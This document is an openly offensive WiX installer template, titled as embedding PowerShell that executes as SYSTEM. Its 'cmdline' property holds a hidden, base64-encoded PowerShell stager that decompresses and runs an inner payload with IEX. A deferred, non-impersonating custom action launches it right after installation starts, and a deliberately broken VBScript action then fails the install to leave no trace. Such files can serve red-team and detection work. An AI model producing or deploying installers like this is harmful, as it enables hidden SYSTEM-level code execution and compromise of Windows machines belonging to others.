WIX file with embedded Powershell, which will be executed as SYSTEM

msigen.wix

<?xml version="1.0"?>
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
  <Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="Example Product Name" Version="0.0.1" Manufacturer="@_xpn_" Language="1033">
    <Package InstallerVersion="200" Compressed="yes" Comments="Windows Installer Package"/>
    <Media Id="1" Cabinet="product.cab" EmbedCab="yes"/>

    <Directory Id="TARGETDIR" Name="SourceDir">
      <Directory Id="ProgramFilesFolder">
        <Directory Id="INSTALLLOCATION" Name="Example">
          <Component Id="ApplicationFiles" Guid="12345678-1234-1234-1234-222222222222">
            <File Id="ApplicationFile1" Source="example.exe"/>
          </Component>
        </Directory>
      </Directory>
    </Directory>

    <Feature Id="DefaultFeature" Level="1">
      <ComponentRef Id="ApplicationFiles"/>
    </Feature>

    <Property Id="cmdline">powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQA7ACQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAUwB0AGEAcgB0AEkAbgBmAG8AOwAkAHMALgBGAGkAbABlAE4AYQBtAGUAPQAkAGIAOwAkAHMALgBBAHIAZwB1AG0AZQBuAHQAcwA9ACcALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAJABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAJwBIADQAcwBJAEEARABlAGgAQQBGAG8AQwBBADcAVgBXAGIAVwAvAGEAUwBCAEQAKwBuAEUAcgA5AEQAMQBhAEYAaABLADAAUwBEAEkAUwBVAEoAbABLAGwAVwAvAE8AZQBBAEkARQA0AEcAQQBoAEYAcAA0ADIAOQBOAGcAdQBMADEAMQAyAHYAZQBlAHYAMQB2ADkAOABZADcASgBTAHEAeQBWADIAdgAwAGwAbQBKADIAUABYAE8ANwBEADcAegB6AEQATQA3AGQAaQBQAGYAbABwAFQANwBTAHIAZwBZADMAVwArAFgAZQBLADEAOABmAGYAdgBtAHIASQA4AEYAWABpAGwAcQBaAHQAMABjAFAAeABRAHIAKwA0AEQAdwBmAGsANwBKAGkASABFAHoATQBNAGoAVgBwAGQAWABUAHoAcwA3AEEASwBpAE8AVwBmADcAYgB0AFYAYQBHAHMAZgBGAEwAVQBLAFEAcQBDAEcAbAA5AGgANgBzACsAdQByADYAdQBSAEUATQBTAFgAeAAzAG0AKwBTAFMAUQBLAFEANwBKADYAWQBwAFMARQBxAHEAYgA4AHAAWQB6AG0AUgBKAEQAegB1ADYAYwBGAHMAYQBYAHkAVgBjAG4AOABtAFcAOAB5AC8AbwBSAFoAWQByAGEAcgBZAG4AdABPAGwASABQAGsATwAvAEYAYQBoADkAcwA0AHgAcABnADMAQQAwAGEAbABtAHYAMwA4AE8AYQB0AE4AegA0AHUAegBmAFAAMQBMAGgARgBtAG8AWgBzADEAZABLAE0AawBxADcAegBDAFcAMQBaAFIAdgBXAG4AegBnAHcAeQA0AGcAYQByAFoATABiAGMARgBEADcAcwByADgAaQBQAG8AWABwAGYAegBRAEQANwBGAEwAZQByAEQAYgBtAG4AUwBKAG4ASABNAG4AegBHAG8AUQBDAGYAdwBKAEkAaQBQAGgASwA4ADgAeAB4AFoAcwBjAFQAZABRAHMARABQAHUAQwAyADgAaAB4AEIAQQBuAEIASQA5AC8AMgAxADMAeABKADEASQB3AGYATQBaAFoAVAAvAGwAQwBuAEMAWQBMADcAeQBKAGQAMABSAFcAQgBkAEUAcwBFAEQAawA0AGcAMQB0AFUAbQBZAGIAMgBIAGYAWQBlAFMAZQB1AEQATwAxAFIAegBaAHAANABMAC8AcQBwAEoANAA2AGcAVgBWAGYAQwBpADAASAAyAFgAawBGAGEAcABjADcARQBTAE4ASAA3ADYAegAyAE0AOQBqAFQAcgBHAHIAdwAvAEoAaABaAG8ATwBQAGIAMgB6AGQAdgAzADcAaQBwAE0ASwBMAHEAZQBuAGcAcQBDAGgAaQBkAFQAUQA5AGoAQQBuAGoAVgBQAGcALwBwAHcAZQA2AFQAVQBzAGcAcABYAFQAZwBWAFMAeQA1ADIATQBNADAAOABpAEkAaABvAE0AMgBVAGEANQAyAEkANgBtAHkAawBaAHUANwBnAHEANQBsADcAMwBMADYAYgBHAFkARQBxAHMAZQBjAEcAeAB1AGwAVgA0AFAAYgBVADQAZABXAGIAZwBsAG0AUQBxAHMANgA2AEkAWABxAGwAUwBpAFoAZABlAEYAMQAyAE4AdQBOAFEAbgB0AFoAMgBQAFYAOQBSAE8AZABhAFcAKwBSAEQAOQB4AEcAVABtAEUAbQBrAC8ATgBlAG8AQgBOAHoAUwBZAEwAeABLAGsAUgBSAGoAdwBzAFkAegBKAHoAeQB2AFIAbgB0AC8AcQBLAHkAbQBkAGYASQA2AEwATQBJAFEATABaAGsATQBJAFEAVQBFAEYAMgB0AFIALwBCAEgAUABPAGoAWgB0AHQAKwBsADYAeQBBAHEAdQBNADgAQwAyAGwAdwBRAGMAMABrAHQAVQA0AFUAdgBFAHQAUABqACsAZABnAGwASwAwAHkASABJAFkANQBwAFIAOQBCAE8AZABrADUAeABTAFMAWQBFAFMAZQBuAEkARAArAGsAeQBSAEsASwBKAEQAOABNAHMAOQAvAGgAZABpAE0AbQBxAFkAMQBEAG0AVwA0ADMAMAAwADYAbwBUAEkANgBzAGMAagArAFUASQByAEkAaABnAFIARAArAGcAeABrAFEAbQAyAEkAVwBzADUARgBUAFcAdABRAGgAeABzADYAawBYAG4AcAAwADkAawBVAHUAcQBwAGcAeAA2AG4AdQB3ADAAeABwAHkAQQBXADkAaQBEAGsAdwBaAHkAMABJAEEAeQBvAE0ARQB0AEwAeABKAFoASABzAFYATQBMAEkAQwBtADAATgBwAE4AeABqADIAbwBKAEMAVABVAGoAagBvAEMASAB2AEUAeQBiADQAQQBNAGwAWAA2AFUAZABZAHgASQB5AGsAVgBKAHgAQQBoAHoAUwBiAGoATQBxAGQAWQBWAEUAaQA0AEoARwBKADIAVQAwAG4AOQBIAG8AcQBUAEsAeQBMAEYAVQB4AFUAawB5AFkAdQBhAFYAcwAzAFUAMgBNAGwAWQA2ADUAbgA5ADMAcgBEADIAcwBVAEkAVABpAGcANgBFAEMAQQBsAGsATgBBAFIAZgBHAFQAZwBrAEgAOABxAG0ARgBFAEMAVgArAGsANgAvAG8AMQBVAEUAegA2AFQAdABzADYANQB0AEwARwBrAFIAYgBXAGkAeAAzAFkAWAAvAEkAYgAxAG8AOAAxAHIARgB1AGIAMQBaAHQASABSAFIAMgA4ADUAZAAxAEEANwBiADMAVgBhAC8ATgBtAGkAMQB5AHUAcwBiADAAeQBwAEwAcwA5ADYAVwB0AC8AMgAyADcATgBiAEgAaQA0AFcASgBXAHYAZgBEAGkAWAB4AHMAbwA5AFkARABMAFMAdwBuADUAWAAxAHcAUQAvAGQAbQBCAHoAbQBUAHIAZgA1AGgAYgArAHcAMwBCAFcATwA3AFgAMwBpAE8ATwA2AG0ANQByAGwAZAB4AHoAZgB2AGkAWgBZAE4AMgBSAHQAVwBCAFUAUwBqAGgAVABxADAAZQBkAFUAYgBHAHgAaQBpAFUAdwB6AHIAZAB0AEEAWgAwAE8ARgBqAGUATgBPAFQAVAB4AEcASgA0ADYATwByAGUAdQBIAGkARgA2AGIAWQBqAEYAbABhAFIAZAAvAGQAdABoAEoAcgB6AEMAMwB0AC8ANAAxAHIATgBlAGQAZgBaAFQAVgByADYAMQBhAGkAOABSAEgAVwBFAHEAbgA3AGQAYQBoAGoAOABkAG0ASQBJADEATgBjAHQANwBBAFgAYwAzAFUAQwBRAEkANgArAEsAagBJAFoATgB5AGUATgBnADIARABBAEcAZwA0AGEAQgBoAHMAMwBGAGwAOQBxAFYANwBvAEgAdgBHAE0AKwBOAGsAVgBXAGkAagA4AEgANABmAGcANwB6AEIAawBDADQAMQBRAHYAbAB0AGsAUAAyAGYARABJAEEALwB5AFoASAAyAEwAcwBIAEcANgA5AGEAcwB1AGMAdQAyAE4AVABlAEkAKwBOADkAagA0AGMAbAB2AEQAUQA0AE0AcwBDAG0AOABmAGcARgBjAEUAMgBDAFIAcAAvAEIAKwBzAE8AdwB4AEoASABGAGUAbQBPAE0ATwBvACsANwBoAHEANABYAEoALwAwAHkAYQBoAFgAbwBxAE8AbQBoAGUARQB2AHMARwBRAE8ATQB3AG4AVgB0AFgAOQBPAEwAbABzAE8AZAAwAFcAVgB2ADQAdQByAFcAbQBGAFgAMABXAHYAVQBoAHMARgAxAGQAMQB6AGUAdAAyAHEAMwA5AFcATgB4ACsAdgBLAHQAOAA3AEkAeQBvAHQAZQBKAG8AcQBPAHYAVwB1ADEAZwBiAEkASQA0AE0ARwBlAC8ARwBuAGMAdQBUAGoATAA5ADIAcgBYAGUAeABDAE8AZQBZAGcAUgBMAGcAcgBrADYAcgBzAGMARgBGAEkANwBsAHcAKwA1AHoARwBIAHEAcgA2ADMASgBHAFgAUgBQAGkARQBRAGYAdQBDAEIAcABjAEsARwBqAEgARwA3AGIAZwBMAEgASwA1AG4ANgBFAEQASAB2AGoAQwBEAG8AaAB6AEMAOABLAEwAMAA0AGsAaABUAG4AZwAyADEANwA1ADAAaABmAFgAVgA5AC8AUQBoAEkAbwBUAHcATwA0AHMAMQAzAGkATwAvAEoAZQBhADYAdwB2AFMAZwBVADQARwBvAHYAYgBNAHMARgBDAFAAYgBYAHcANgB2AHkAWQBLAGMAZQA5ADgAcgBGAHYAUwBHAGgANgBIAGwALwBkAHQAaABmAGkAOABzAG0ARQB4AG4ARwAvADAAOQBkAFUAcQA5AHoAKwBIAEgAKwBqAGIAcgB2ADcALwA1AGgAOQBaAGYAbwBMAE8AVABTAHcASAA5AGEAKwBQAEgARgBmAHkATAAzAHQAdwBnAFkAWQBTAHIAQgAyAG8AUgBiAGgANQBGAGoARgAzAHkAWgBoADAAUQB0AEoAeAA4AFAAawBDAEIAUQBnAHAAcwA4ADgAVABmAGMAWABTAFQAUABlAC8AQgBKADgAVABmAEIATwBiAEwANgBRAGcAbwBBAEEAQQA9AD0AJwAnACkAKQA7AEkARQBYACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AUwB0AHIAZQBhAG0AUgBlAGEAZABlAHIAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAoACQAcwAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA7ACcAOwAkAHMALgBVAHMAZQBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQA9ACQAZgBhAGwAcwBlADsAJABzAC4AUgBlAGQAaQByAGUAYwB0AFMAdABhAG4AZABhAHIAZABPAHUAdABwAHUAdAA9ACQAdAByAHUAZQA7ACQAcwAuAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQA9ACcASABpAGQAZABlAG4AJwA7ACQAcwAuAEMAcgBlAGEAdABlAE4AbwBXAGkAbgBkAG8AdwA9ACQAdAByAHUAZQA7ACQAcAA9AFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AFMAdABhAHIAdAAoACQAcwApADsA
    </Property>

    <CustomAction Id="SystemShell" Execute="deferred" Directory="TARGETDIR" ExeCommand='[cmdline]' Return="ignore" Impersonate="no"/>
    <CustomAction Id="FailInstall" Execute="deferred" Script="vbscript" Return="check">
      invalid vbs to fail install
    </CustomAction>

    <InstallExecuteSequence>
      <Custom Action="SystemShell" After="InstallInitialize"></Custom>
      <Custom Action="FailInstall" Before="InstallFiles"></Custom>
    </InstallExecuteSequence>

  </Product>
</Wix>